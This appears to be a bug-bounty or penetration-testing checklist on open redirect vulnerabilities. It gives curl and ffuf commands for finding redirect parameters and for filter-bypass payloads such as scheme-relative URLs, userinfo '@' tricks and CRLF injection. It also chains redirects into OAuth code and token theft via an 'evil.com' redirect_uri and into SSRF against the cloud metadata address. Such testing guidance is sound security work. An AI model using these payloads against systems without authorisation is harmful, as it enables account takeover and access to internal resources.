Open Redirect
Test for open redirect vulnerabilities where user-controlled input drives a redirect destination, then bypass filters and chain the issue into OAuth token theft and SSRF.
Tools
Machine-readable JSON available at:
https://reconatlas.pages.dev/api/checklists/open-redirect-testingTags
// checklist steps
openredir-01
Discover redirect parameters
Enumerate parameters and endpoints commonly responsible for redirects, such as login return paths, logout handlers, and tracking links.
# Grep collected URLs for redirect-style parameters
cat all-urls.txt | grep -iE '(\?|&)(redirect|redirect_uri|url|next|return|returnUrl|dest|destination|continue|callback|goto|forward|out|to|target)='
# Fuzz a redirect endpoint for reactive parameters
ffuf -w params.txt -u 'https://target.com/login?FUZZ=https://evil.com' -mc 301,302,303,307,308 -mr 'evil.com'Login, logout, and SSO flows are the richest sources of redirect parameters. Check whether the value appears in a Location header or a client-side JavaScript redirect.
openredir-02
Confirm a basic open redirect
Supply an external absolute URL and verify the server issues a redirect to your domain via the Location response header.
# Follow the redirect and inspect the Location header
curl -sk -i 'https://target.com/login?next=https://evil.com' | grep -i '^location:'
# Confirm with Oralyzer
python3 oralyzer.py -u 'https://target.com/login?next=FUZZ'A 30x response with Location set to your fully external domain is a clean open redirect. If the response is 200, look for a meta refresh or a JavaScript-based redirect instead.
openredir-03
Bypass redirect filters and whitelists
When naive validation blocks external URLs, defeat it with URL-parsing tricks that different components interpret inconsistently.
# Scheme-relative URL
curl -sk -i 'https://target.com/login?next=//evil.com' | grep -i '^location:'
# Malformed scheme
curl -sk -i 'https://target.com/login?next=https:evil.com' | grep -i '^location:'
# Whitelist prefix as a subdomain of attacker domain
curl -sk -i 'https://target.com/login?next=https://target.com.evil.com' | grep -i '^location:'
# Credentials and backslash confusion
curl -sk -i 'https://target.com/login?next=https://target.com@evil.com' | grep -i '^location:'
curl -sk -i 'https://target.com/login?next=https://evil.com\\@target.com' | grep -i '^location:'
# CRLF and data: scheme
curl -sk -i 'https://target.com/login?next=/%0d%0aLocation:%20https://evil.com' | grep -i '^location:'Filters that only check for a leading http:// miss //evil.com and https:evil.com. The @ trick works when validation checks that the host starts with the allowed domain but the browser treats everything before @ as userinfo.
openredir-04
Find DOM-based open redirects
Identify client-side redirects where JavaScript reads attacker-controlled input from location, hash, or query and passes it to a navigation sink.
# Search JS for redirect sinks fed by location data
cat *.js | grep -iE '(location\.href|location\.replace|location\.assign|window\.location|document\.location)\s*='
# Look for source reads that feed those sinks
cat *.js | grep -iE '(location\.hash|location\.search|URLSearchParams|document\.URL|getParameter)'DOM-based redirects do not show up in the Location header, so test them in a browser. A payload like
openredir-05
Chain open redirect to OAuth token or code theft
Abuse a lax redirect_uri or a chained open redirect to leak an OAuth authorization code or access token to an attacker-controlled host.
# Tampered redirect_uri pointing at attacker infrastructure
curl -sk -i 'https://target.com/oauth/authorize?response_type=code&client_id=web&redirect_uri=https://evil.com/cb&scope=email' | grep -i '^location:'
# Chain a whitelisted redirect_uri through an on-site open redirect
curl -sk -i 'https://target.com/oauth/authorize?response_type=token&client_id=web&redirect_uri=https://target.com/login?next=https://evil.com' | grep -i '^location:'When redirect_uri validation only allows same-origin URLs, an open redirect on that origin lets you forward the code or token onward. Tokens in the URL fragment leak via the Referer header or by chaining a second redirect.
openredir-06
Escalate open redirect toward SSRF
Where a server-side component fetches or follows the redirect target, use the open redirect to reach internal hosts that direct SSRF payloads cannot.
# Server-side follower forwarded to internal metadata
curl -sk 'https://target.com/fetch?url=https://target.com/login?next=http://169.254.169.254/latest/meta-data/'Open redirects are a classic bypass for SSRF filters that whitelist the target's own domain. If a server-side fetcher trusts on-site URLs and follows 30x responses, you can pivot to internal resources.
Overview
Open redirects let an attacker point a trusted target URL at an arbitrary external destination. On their own they are usually low severity, but as a building block they unlock phishing that abuses the target’s brand, OAuth authorization-code and token theft, and SSRF filter bypasses — so they are almost always worth reporting when they enable a chain.
Bypass techniques
Most real-world open redirects hide behind a weak filter rather than no filter at all.
The value of this test is in the bypasses: scheme-relative //evil.com, malformed
https:evil.com, host-prefix tricks like target.com.evil.com, userinfo @ abuse,
backslash confusion, and CRLF injection. Different parsers in the stack disagree about
which part of the URL is the host, and that disagreement is the bug.
High-impact findings
The findings that pay are the chains. An open redirect on an OAuth provider’s own origin can forward an authorization code to your server, and a redirect that a server-side component follows can bypass an SSRF allowlist that only trusts the target’s domain. Always demonstrate the downstream impact rather than stopping at the raw redirect.